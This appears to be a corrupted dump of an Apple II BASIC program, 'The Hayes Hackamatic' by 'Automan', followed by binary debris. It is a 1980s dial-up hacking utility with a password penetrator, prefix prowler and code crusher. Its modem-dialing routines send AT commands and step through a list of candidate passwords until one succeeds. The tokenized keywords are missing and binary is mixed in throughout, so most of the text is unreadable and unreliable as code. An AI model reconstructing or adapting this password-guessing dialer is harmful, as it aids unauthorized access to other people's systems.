*A$"I"17407*DL28ĺ"";:1590J*PRLRLRL2]*PBBBBBB2*CDL2P21:DL$(C)DL$(C2)::DL$(P)" ":DL$(P1)" ":DLDL2*PVP:12:1:958:C1219:C:3000:PVPV1:PVDLC20*U+12:I:CPP1:10::LItAC$:LD$:DG$:EC$:TN$$I~C/II1C;ISN$(I)BIIRID$;"CLOSE"XIfIFCURSORIPC$"!/-\":M1:R1T:(C$,M,1);(8);:MM1IZM5M1IdIn" ";IxICUTEPRINTI6470I(16384)128Ĺ16368,0:161%JM1::HM::HHANG UPH0&HSL/H 1008H "A"pH0:SL:100:ZQ15:5940::"+++";:ZQ13:5940:{H"ATH"H$5940H.0H8255:HBREAD FILE DATAHLD$;"OPEN "DF$".CC"HVD$;"READ "DF$".CC"H`SN$IjSN$"0"SN$"":6310D POSSIBILITIES:":GI1PP1GI;".",PP$(I)8GIG::7:"QUIT THE PENETRATOR? (Y/N) ";:16384,128:A$((16384)128):A$"Y"Ĺ16368,0:V4:H1:270GZQ13:1009ZQ,RS(ZQ):ZQG6125GD$;"BRUN HACK HELLO,D1"H16368,0:216,0 Fz6160+FHM:34,1:35,24:16303,0:TFPP%C0:1002:DF$""QF1:800:QF0~F34,1::::12:"NEXT P/W: ";PW$(C0)F"PASSWORDS REMAINING: ";PNC0(PNC00)PN(PNC00)FFPP0Ė5:"NO SUCCESSFUL PASSWORDS FOUND":6110G"PASSWORZ1:V19E V0:H0:E3(E4DELAY:E>P11000::IEH DELAY2cERS0256(241):255:0}EWH0(36)1:V0(37)1E\PTI%01:2:28:"WAITING...";P;" ";:P21300:P2,PEf:2:28:868:V0:H0:S0:SL:FpQUIT AND DISPLAY PASSWORDSRL):12000:0,1:IS:SP%SP%1%DC0/D6000HDGOT GOOD PASSWORDiD0:"";:(16384)1285805|DA$:272:6000D H0(36)1:V0(37)1:HH5(PW$(C0)):H39(PW$(C01))H1:VV1EV19Z1(35):Z2(34):35,19:34,11:912:34,Z2:35,CT%0:C1(PA)C0C01:C0PN5765MCb(255)Ĺ255,0:13000: ESC PRESSEDUCgC1fCiCT%C0C01uClDR05755CvTI%DR:5960:0C{RL0C0PNİ6160:11000:SP%2:5765CSP%RLCRL2(RL2)5765CDL$(RL)(27)5765DC0PNIS$DL$(PW$(C0):H0(36)1:V0(37)1:V:H::PW$(C0)::V0:H0:PP%C01:5800RBTSP%BBBUBB2(BB2)5722: BAD BRANCH LINE IS AN OUTPUTBVDL$(BB)(27)5722BWC1(PA)IS$DL$(BB):12000:0,1:IS:SP%SP%1BZ5900B[CT$"Y"CT%CT%1:5730"C](OU$,1)";"OU$(OU$,(OU$)1):SC%1ZA!O1(OU$):(OU$,O,1)"*"TI%1:5960:5675kA&(OU$,O,1);zA+O:SC%ĺA00:255A5DL$(C21)(27)C21DL5700A:SLA?0,1:ISADAFC2AISLAN0,2:ISGBS(0)255PPPP1:PP$(PP)DL$(C21):12000@SC%0:SLH@OU$"":SP:(DL$(C2),1)(16)5650@ ZQ1(PW$(C0)):OU%((PW$(C0),ZQ,1)):OU$OU$(OU%32(CT%(OU%64OU%91))):ZQ:(DL$(C2))1OU$OU$(DL$(C2),(DL$(C2))1)@5660@OU$DL$(C2)@OU$(27)5680(A1:5690'?H(PW$(C0))39H1:VV1?0:255:H0(36)1:V0(37)1:H:V:PW$(C0);:11:11::"PASSWORD #";C0;25);"OF ";PN;::V0:H0?C21DLC11(PA)IS$BP$:12000:5635?C21DLC11(PA)IS$RB$:12000:5635@DL$(C21)(27)IS$"-";:>35,10>*>HACKAMATIC5>255,0U>V12:H1:CT%0:PP%0PP%1_>SP%2j>10000u>11000>C0PP%PN>2:>C11PA>C2SP%DL2>C22(C22)5622>DL$(C2)(27)C2C21:5700?IS$DL$(C2):12000:C2C20:"CHARGING BATTERIES...":ZQ(0)::ECH1:SL(SL$)P=20:1:I140:"-";:I=21:8::" RUNTIME COMMANDS:"::9:"UIT OUND TOGGLE":2:"RAPHICS DISPLAY ERMINAL MODE"::7:" FLASH ";::" POSSIBLE PASSWORD";>11:1:I140:S":8:"IN THE CURRENT DATABASE."::13:"PRESS ANY KEY: ";:A$:270]<MP$DB$MP$""5255<:12:1:"PASSWORD DATA BASE IN MEMORY DOES NOT":7:"MATCH LAST USED DATA BASE"::8:"CONTINUE ANYWAY? ";:A$:A$"Y"270<PP04=HM::12:1::12:"CORRECT? Y";:1008:CH$;;xCH$"N"5140A;};DL0PN0Ģ18:2:"PASSWORDS AND/OR DIALOGUE NOT ENTERED":14:"PRESS ANY KEY: ";:A$:270D<PP%PNė:9:2:"STARTING PASSWORD POINTER IS GREATER":6:"THAN THE NUMBER OF PASSWORDWC(DL$)[:P8:9:"TOUCH TONE SPACING":9:9:"(30-255 MILLISEC.)->";:DE$TS$:LN3:6750:d(NU$)30(NU$)255ĺ"":5200:fTS$NU$:TS(TS$):i::k16:"SPEAKER ON?-> ";:DE$SP$:LN1:LE1:6750:NU$"Y"NU$"N"ĺ"";:5227:lSP$NU$);n""H0:S0:6000dX2C$"S"ĹIS2,48((IS2)0)0((IS2)48):IS1,192((IS1)32)32((IS1)192)X,320:16:"--------";:SL:SL:V0:H0:S0:SL:SL:V0:H0:S0:-----";:SL:SL:V0:H0:S0:55:0W2H0(36)1:V0(37)1:W20:16303,0:16300,0XW220:16::"COMMAND?";:vW216368,0:16384,128:C$W2C$"G"Ĺ16304,0:16302,0:16297,0:16299,0W2C$"T"ĊSL::20:16:"--------";:2:(1);"T":SL:(1);"E E" X2C$"Q"ĢV0:50 V+11190+V+WAIT FOR INITIAL INPUTCV,DL$(1)(27)11290^V,"SYS: ";:SL:0,1:ISdV,V.SET UP DATA FOR INPUT SCANV.R1(IS$):767R,((IS$,R,1))128:V.767R,255:767R1,255V.V2COMMANDS RUNTIMEW2S0256(241):2NPUT LOOPU+0:SLMU+(16384)12827Ĺ16368,0:6130:255:0:0::270hU+PR$"N"ĺ"?";:R$:R$yU+PR$"Y"ĄR$U+R(R$)U+R1R511260: CONNECTU+NO CARRIERU+R$"Q"İ6130:270V+R3R43R44R$"R"ĩ100:6130:255:110MF$,3)(MF$,4)"T*+5950:SL:1505T4+EX$"Y"11090ET>+"ATDT";MN$PTH+11160]TR+"ATDT";rT\+(AC$)0ĺAC$;Tf+(LD$,3);(LD$,4);Tp+PR$"Y"ĺ"W DT";CO$;",";MF$:11160Tz+";"T+TI%D1:5960T+150:"ATDT";CO$;",";MN$T+255:5950 U+I"1T":(1);"E E":(1);6(B%1)8(B%2);"B":SA,16(SL$):IT,(IT$)KS(S ((16384)12827Ĺ16368,0:255:0:0:::270S(S*DIAL AND CONNECTS*S*DL$(1)(27)11010S*IS$DL$(1):12000S+MN$""S +MA$""MN$MA$T+MN$MN$(RRIER DETECTR'"ATS9=2"*R'10250:A$4R'5950NR'COMMA DELAY LENGTHoR'"ATS8=";D2:10250:A$:5950R'ESCAPE CODE DEAD TIMER'"ATS12=25":10250:A$:5950R'SPEAKER ON/OFFR'"ATM";(SP$"Y"):10250:A$:5950R'0:255ES'(1);0=0":10250:A$:59502Q8'NUMERIC RESULT CODES IQL'"ATV";2(PR$"Y")XQV'10250:A$bQ`'5950}Qj'DELAY BEFORE HANGUPQt'"ATS7=";DL$Q~'10250:A$Q'5950Q'DIALING SPEEDQ'"ATS11=";TS$Q'10250:A$Q'5950 R' RESPONSE TIME, CA0:LN0:L00:A0:LE0:2P@GENERAL INPUT EQUIV=PAIN$""QPJA$:A$(13)ıfPTIN$IN$A$:8010xP(#ERROR TRAPP2#:180P'INITIALIZE MODEMP'SL:150P'"ATZ":5950P'NOCEHOP$'"ATE0"P.'5950P/'SLP0'NO ANSWERQ1'"ATSĺ"";:6810:O(A$)32ĺ"^";((A$)64);:LNLN1:6895COA$;pONU$NU$A$:(A$)16(NU$,1)A$LNLN5zO6810O(NU$)0DE$""LE0ĺ"";:6810ORFNU$DE$:6930O(NU$)1ĺLN(NU$));PRX:" ";:RXL01:" ";:N$"":DE$"":DE(NU$)0ĭ((NU$,1))32ĺ" ";:LNLN1YN(NU$)1ĺ" ";:NU$(NU$,(NU$)1):6810|N(NU$)1ĺ" ";:NU$"":6810N"";:6810NLE(A$"0"A$"9")ĺ"";:6810N(A$)27LE1NU$A$:6930NLE(A$)32ĺ"";:6810 O(NU$)LN1MxT$;My)M|(DE$)LNĺ"]";:6800JMR1LN(DE$):" ";::"]";pMR1LN1(DE$):1008::NU$DE$M(DE$,1)(16)LNLN5MA$:(A$)96A$((A$)32)MA$""6810MA$(13)RFRF1MA$(13)6900MA$(8)6870)NGTH=LN @L`PASS IN: DEFAULT=DE$, LE=1 (IF LETTERS ALLOWED)[LcRETURNS: NU$=NUMBEReLeL0LNpLhNU$""LmRX(36)1Lr"[";LtDE$""āR1LN:" ";::"]";:RX1:6810LwR1(DE$):T$(DE$,R,1):(T$)32ĺ"^";((T$)64);:LNLN1:6777$)8A1ĺ(8);:N$(N$,7)/K"(N$)0ĺ" ";SK,(N$)1N$(N$,(N$)1):6650cK6N$"":6650K@((DI$)48)((DI$)57)((N$)84A4S)ĺDI$;:N$N$DI$:6630KJDI$(13)(N$)84A4SS0:KT"";:6650 L^INPUT CHAR STRING, MAX LENR1(A$):(A$,R,1);(C$,M,1);(8);2JM5M18JBJ6470HJdJINPUT A PHONE NUMBERmJN$;JS(N$)3ĺ"-";:N$N$"-"JA(N$)7ĺ"-";:N$N$"-"J16384,128:DI$JDI$(8)6720J(N$)4Sĺ(8);:N$(N$,3)K(N32ĺ"^";((T$)64);:LNLN1:630+lT$;1vK(DE$)LNĺ"]";:660lR1LN(DE$):" ";::"]";R1LN1(DE$):1008::NU$DE$(DE$,1)(16)LNLN3A$A$""680A$(13)RFRF1A$(13)850A$(8)77:90.INPUT CHAR STRING, MAX LENGTH=LN ePASS IN: DEFAULT=DE$, LE=1 (IF LETTERS ALLOWED)&RETURNS: NU$=NUMBER0L0LN:NU$""DRX(36)1N"[";XDE$""āR1LN:" ";::"]";:RX1:680"bR1(DE$):T$(DE$,R,1):(T$)Y"90 4C80$"Y"ĺD$;"PR#";S80:(12);:480VPR$"Y"ĺD$;"PR#";PS:" 80N"xD$;"MONI":510:D$;"OPEN"F$D$;"READ"F$LC,32(LC$"N"):255,3940(C80$"Y"PR$"Y"):RD1002::1220(C80$"Y")):"PRESS ANY KEY: ";:A$::8::8:"DOCS ON READING THE DOCS":::10:"WHILE READING, PRESS:":8::"<-";::" ";::"->";::" TO CHANGE VIEW SPEED"::10::"SPACE";::" TO START/STOP:15::"ESC";::" TO EXIT"::15:"CONTINUE? Y";:A$:A$(13)A$")1(NU$)7ĺ"";:340& ^S80(NU$)8 hC80$"Y"410 r20:12:"PRINTER ON? ";:DE$"N":LN1:LE1:530:NU$"Y"NU$"N"ĺ"":370 |PR$NU$ PR$"Y"Ģ21:11:"PRINTER SLOT ";:DE$"1":LE1:LN1:530:(NU$)1(NU$)7ĺ"":390 PS(NU$)I DISPLAY LOWER CASE? ";:LN1:LE1:530:NU$"Y"NU$"N"ĺ"":300O 6LC$NU$ @18:7:"80 COLUMN CARD INSTALLED? ";:DE$"N":LN1:LE1:530:NU$"Y"NU$"N"ĺ"":320 JC80$NU$ TC80$"Y"Ģ19:15:"80 COL. CARD SLOT ";:DE$"3":LN1:530:(NU$A$(8)A$(11)VV14 A$(21)A$(10)VV1[ VV(V7V11)7(V11)11(V7)d 140s V11260} 250 D$;"BRUN HACK HELLO" F$F$(V)".DOC" READDOCS (637)255DE$"Y":300 "DE$"N"C ,16:5:"CAN YOUO,HACKAMATIC,THE PREFIX PROWLER,PP,THE CODE CRUSHER,CC,PASSWORD PENETRATOR PROGRAM,PPP,QUIT,X xC711:M$(C):F$(C):C:7:M$(C): V07:V7:LF%,7 V0:RT%,6(M$(V0)):N:V:RT%,6(M$(V)):I V0V 16384,128:A$ A$(13)220 :RD36864 FDOCSB PD$;"BLOAD AMPERBAR":D$;"BLOAD WRAPPER"f Z:(27);(17);(21):0:1002: d:::41):" ";::8);"THE HAYES HACKAMATIC DOCS";40);::" ";:" ";::12);"WRITTEN BY AUTOMAN";40);::" ";:41)::34,5] n GENERAL INTR  %%%%%%%%%%%%%%%%%%%%%%%%% DOCS FILE READER FOR THE HAYES HACKAMATIC WRITTEN BY AUTOMAN %%%%%%%%%%%%%%%%%%%%%%%%% 32767:TP%250:BOT%251:LF%252:RT%2531013,76:1014,0:1015,128(D$(13)(4)2M$(20),F$(20) <LC254" """"""""" L%L`'`)`) 0CD%#"6767 B08 ͤ L6L667` 0L`Ӎ'`  '8Lɛ ,L,'L##L"" " `)?`((((PPPP1 ~ H hUDIN` ` ր `L s% H sh% d ` s```` s% H sh% ʈL d `( (`()?(`8`